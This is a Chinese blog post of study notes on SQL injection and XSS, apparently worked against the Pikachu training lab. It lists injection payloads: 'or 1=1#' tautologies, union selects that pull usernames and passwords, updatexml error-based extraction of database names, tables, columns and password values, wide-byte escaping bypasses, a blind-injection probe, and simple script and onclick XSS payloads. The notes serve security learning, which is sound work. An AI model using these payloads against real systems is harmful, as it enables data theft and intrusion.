漏洞02-SQL注入

SQL注入

文章目录


bash 复制代码
SQL注入

$query="select id,email from member where username='$name'";

$query="select id,email from member where username='vince'";

$query="select id,email from member where username='xx'";

$query="select id,email from member where username='xx' or 1=1#'";

$query="select id,email from member where username='xx' union select username,password from users#'";

#、--   注释的意思

$query="select username,email from member where id=$id";

$query="select username,email from member where id=1";

$query="select username,email from member where id=1 or 1=1#";

$query="select username,email from member where id=1 and 1=1#";

$query="select username,email from member where id=1 and 1=2#";

$query="select username,email from member where id=1 union select username,password from users";




$query="select username,id,email from member where username like '%$name%'";

$query="select username,id,email from member where username like '%xx%' or 1=1#%'";	
	
	

报错注入:[mysql数据库中存在一个information_schema的默认数据库,这个库里面记录着整个mysql管理的数据库的名称、表名、字段名]
x' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#       报数据库版本信息 0x7e 16进制
x' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#          报数据库当前用户
x' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#      报数据库


x' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
报表名---

x' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='pikachu' limit 0,1)),0)#
报字段名

x' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#
报字段内容
	



增删改:页面没有回显信息
insert
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
x' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or'
使用报错注入的形式

update
x' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or'
使用报错注入的形式

delete
使用报错注入的形式
 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#











	
宽字节注入:(开发加了转义)	
转义函数把字符如:'、"、等自动在前面加上\,让这些符号的意义失效,或注释掉
$query="select id,email from member where username='xx\' or 1=1#'";
$query="select id,email from member where username='xx%df' or 1=1#'";
xx\' or 1=1#     xx%5C%27+or+1%3D1%23
                 xx%df%5C%27+or+1%3D1%23


SQL盲注
$query="select id,email from member where username='vince'";
$query="select id,email from member where username='vince' and ascii(substr(database(),1,1))=112#'";




XSS跨站脚本漏洞

试探:'"<>123456

<script>alert("xss")</script>

存储型:每次刷新都会弹出,持久性伤害,所有访问该页面的用户都会中招



DOM型:
<a href='"+str+"'>what do you see?</a>
' οnclick="alert('xss')">
<a href='' οnclick="alert('xss')">'>what do you see?</a>



<a href='"+xss+"'>就让往事都随风,都随风吧</a>
相关推荐
洲覆12 分钟前
缓存异常:缓存穿透、缓存击穿、缓存雪崩
开发语言·数据库·mysql·缓存
xcLeigh42 分钟前
KingbaseES数据库:本地连接全攻略!从环境检查到问题排查,新手也能轻松上手
数据库
rexling11 小时前
【玩转全栈】----Django基本配置和介绍
数据库·django·sqlite
Deamon Tree1 小时前
如何保证缓存与数据库更新时候的一致性
java·数据库·缓存
大G的笔记本1 小时前
MySQL 中的 行锁(Record Lock) 和 间隙锁(Gap Lock)
java·数据库·mysql
洲覆1 小时前
go-mysql-transfer 伪装从库实现 MySQL 到 Redis 数据同步(完整配置)
数据库·redis·mysql·golang
谅望者2 小时前
SQL 自连接详解:当数据表需要与自己对话(组织层级实战)
数据库·sql·mysql·oracle·database
姚远Oracle ACE2 小时前
解读 “SQL ordered by Physical Reads (UnOptimized)“
数据库·sql·oracle
山峰哥2 小时前
KingbaseES 表空间与模式优化策略深度研究报告
开发语言·数据结构·数据库·oracle·深度优先
九转苍翎2 小时前
深入解析MySQL(6)——存储过程、游标与触发器
数据库·mysql